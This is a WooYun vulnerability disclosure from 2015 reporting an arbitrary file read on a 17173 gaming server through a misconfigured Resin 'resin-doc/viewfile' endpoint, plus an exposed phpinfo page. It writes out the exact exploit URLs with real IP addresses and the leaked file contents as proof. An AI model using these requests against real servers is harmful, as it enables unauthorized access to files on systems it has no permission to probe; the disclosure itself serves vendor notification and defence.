当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095355

漏洞标题:17173某站任意文件读取

相关厂商:17173游戏

漏洞作者: 小土豆

提交时间:2015-02-03 09:23

修复时间:2015-03-20 09:24

公开时间:2015-03-20 09:24

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-03: 细节已通知厂商并且等待厂商处理中
2015-02-05: 厂商已经确认,细节仅向厂商公开
2015-02-15: 细节向核心白帽子及相关领域专家公开
2015-02-25: 细节向普通白帽子公开
2015-03-07: 细节向实习白帽子公开
2015-03-20: 细节向公众公开

简要描述:

某站使用resion,配置不当,导致可以读些文件

详细说明:

http://58.22.102.45/resin-doc/viewfile/?file=/doc/install.xtp

/doc/install.xtp
<document>
<header>
<product>resin</product>
<version>Resin 3.0</version>
<title>Resin Installation</title>
</header>
<body>
<summary/>
</body>
</document>


http://58.22.102.45/resin-doc/viewfile/?file=index.jsp

index.jsp
<%@ page session="false" import="com.caucho.vfs.*, com.caucho.server.webapp.*" %>
<%--
This is the default start page for the Resin server.
You can replace it as you wish, the documentation will
still be available as /resin-doc if it is installed.
--%>
<%
/**
* See if the resin-doc webapp is installed
*/
boolean hasResinDoc = false;
boolean hasOrientation = false;
ServletContext docApp = application.getContext("/resin-doc");
if (docApp != null) {
String rp = docApp.getRealPath("index.xtp");
if (rp != null && (new java.io.File(rp)).exists())
hasResinDoc = true;
if (hasResinDoc) {
rp = docApp.getRealPath("orientation.xtp");
if (rp != null && (new java.io.File(rp)).exists())
hasOrientation = true;
}
}
%>
……


http://58.22.102.68/test.php
再加一个信息泄漏.phpinfo

17173.jpg

漏洞证明:

http://58.22.102.45/resin-doc/viewfile/?file=/doc/install.xtp

/doc/install.xtp
<document>
<header>
<product>resin</product>
<version>Resin 3.0</version>
<title>Resin Installation</title>
</header>
<body>
<summary/>
</body>
</document>


http://58.22.102.45/resin-doc/viewfile/?file=index.jsp

index.jsp
<%@ page session="false" import="com.caucho.vfs.*, com.caucho.server.webapp.*" %>
<%--
This is the default start page for the Resin server.
You can replace it as you wish, the documentation will
still be available as /resin-doc if it is installed.
--%>
<%
/**
* See if the resin-doc webapp is installed
*/
boolean hasResinDoc = false;
boolean hasOrientation = false;
ServletContext docApp = application.getContext("/resin-doc");
if (docApp != null) {
String rp = docApp.getRealPath("index.xtp");
if (rp != null && (new java.io.File(rp)).exists())
hasResinDoc = true;
if (hasResinDoc) {
rp = docApp.getRealPath("orientation.xtp");
if (rp != null && (new java.io.File(rp)).exists())
hasOrientation = true;
}
}
%>
……


http://58.22.102.68/test.php
再加一个信息泄漏.phpinfo

17173.jpg

修复方案:

版权声明:转载请注明来源 小土豆@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-02-05 14:49

厂商回复:

谢谢关注!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-23 01:33 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    这么给力,来我们公司吧!